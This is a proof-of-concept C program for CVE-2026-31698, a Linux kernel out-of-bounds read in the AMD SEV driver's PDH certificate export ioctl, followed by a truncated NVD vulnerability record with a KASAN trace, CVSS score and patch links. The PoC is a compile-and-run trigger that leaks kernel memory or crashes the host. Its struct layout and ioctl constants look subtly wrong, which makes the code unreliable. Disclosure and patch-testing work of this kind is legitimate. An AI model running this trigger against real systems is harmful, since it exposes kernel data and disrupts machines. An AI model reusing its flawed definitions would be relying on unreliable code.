CVE-2026-31698

/* * PoC for CVE-2026-31698 * Trigger out-of-bounds read in sev_ioctl_do_pdh_export * Compile: gcc -o poc_cve2026_31698 poc_cve2026_31698.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #define SEV_ISSUE_CMD _IOWR('S', 0x01, struct sev_issue_cmd) #define SEV_PDH_CERT_EXPORT 0x09 struct sev_user_data_pdh_cert_export { __u64 pdh_cert_address; __u32 pdh_cert_len; __u32 cert_chain_address; __u32 cert_chain_len; }; struct sev_issue_cmd { __u32 cmd; __u64 data; __u32 error; }; int main() { int fd = open("/dev/sev", O_RDWR); if (fd < 0) { perror("Failed to open /dev/sev"); return -1; } struct sev_user_data_pdh_cert_export data; memset(&data, 0, sizeof(data)); // Set a very small length to trigger the firmware failure // and the subsequent OOB read in the driver data.pdh_cert_len = 1; struct sev_issue_cmd cmd; cmd.cmd = SEV_PDH_CERT_EXPORT; cmd.data = (__u64)&data; cmd.error = 0; printf("Triggering CVE-2026-31698...\n"); if (ioctl(fd, SEV_ISSUE_CMD, &cmd) < 0) { perror(" IOCTL failed"); } else { printf("IOCTL returned. Check dmesg for KASAN reports.\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-31698", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:19.650", "lastModified": "2026-05-06T19:06:34.503", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: ccp: Don't attempt to copy PDH cert to userspace if PSP command failed\n\nWhen retrieving the PDH cert, don't attempt to copy the blobs to userspace\nif the firmware command failed. If the failure was due to an invalid\nlength, i.e. the userspace buffer+length was too small, copying the number\nof bytes _firmware_ requires will overflow the kernel-allocated buffer and\nleak data to userspace.\n\n BUG: KASAN: slab-out-of-bounds in instrument_copy_to_user ../include/linux/instrumented.h:129 [inline]\n BUG: KASAN: slab-out-of-bounds in _inline_copy_to_user ../include/linux/uaccess.h:205 [inline]\n BUG: KASAN: slab-out-of-bounds in _copy_to_user+0x66/0xa0 ../lib/usercopy.c:26\n Read of size 2084 at addr ffff8885c4ab8aa0 by task syz.0.186/21033\n\n CPU: 51 UID: 0 PID: 21033 Comm: syz.0.186 Tainted: G U O 7.0.0-smp-DEV #28 PREEMPTLAZY\n Tainted: [U]=USER, [O]=OOT_MODULE\n Hardware name: Google, Inc. Arcadia_IT_80/Arcadia_IT_80, BIOS 34.84.12-0 11/17/2025\n Call Trace:\n <TASK>\n dump_stack_lvl+0xc5/0x110 ../lib/dump_stack.c:120\n print_address_description ../mm/kasan/report.c:378 [inline]\n print_report+0xbc/0x260 ../mm/kasan/report.c:482\n kasan_report+0xa2/0xe0 ../mm/kasan/report.c:595\n check_region_inline ../mm/kasan/generic.c:-1 [inline]\n kasan_check_range+0x264/0x2c0 ../mm/kasan/generic.c:200\n instrument_copy_to_user ../include/linux/instrumented.h:129 [inline]\n _inline_copy_to_user ../include/linux/uaccess.h:205 [inline]\n _copy_to_user+0x66/0xa0 ../lib/usercopy.c:26\n copy_to_user ../include/linux/uaccess.h:236 [inline]\n sev_ioctl_do_pdh_export+0x3d3/0x7c0 ../drivers/crypto/ccp/sev-dev.c:2347\n sev_ioctl+0x2a2/0x490 ../drivers/crypto/ccp/sev-dev.c:2568\n vfs_ioctl ../fs/ioctl.c:51 [inline]\n __do_sys_ioctl ../fs/ioctl.c:597 [inline]\n __se_sys_ioctl+0x11d/0x1b0 ../fs/ioctl.c:583\n do_syscall_x64 ../arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xe0/0x800 ../arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n </TASK>\n\nWARN if the driver says the command succeeded, but the firmware error code\nsays otherwise, as __sev_do_cmd_locked() is expected to return -EIO on any\nfirwmware error."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.16", "versionEndExcluding": "6.6.136", "matchCriteriaId": "0A32447F-A6C2-4D97-8B3B-EB4280574173"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.84", "matchCriteriaId": "D4ECA0DE-AFF5-4688-B219-4CA2336CA5B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.25", "matchCriteriaId": "8B0A7E0E-F6D8-45DB-8CD9-01839FE40A6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B1EF7059-E670-45F4-B422-54C40FA86390"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc2:*:*:*:*:*:*", "matchCriteriaId": "0D38F0BF-A728-4133-A358-D44A2F7EE6D6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/051e51aa55fd4cdc3e8283cf4476aeeb5f563274", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/50808c13452dae43a2c90b1bbbf9daa16501ce70", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/78b97e43d0b3e674d9d49ae56937b11e2ba3fcaf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b5c14bd4da1f376f385722fe1da993 ... (truncated)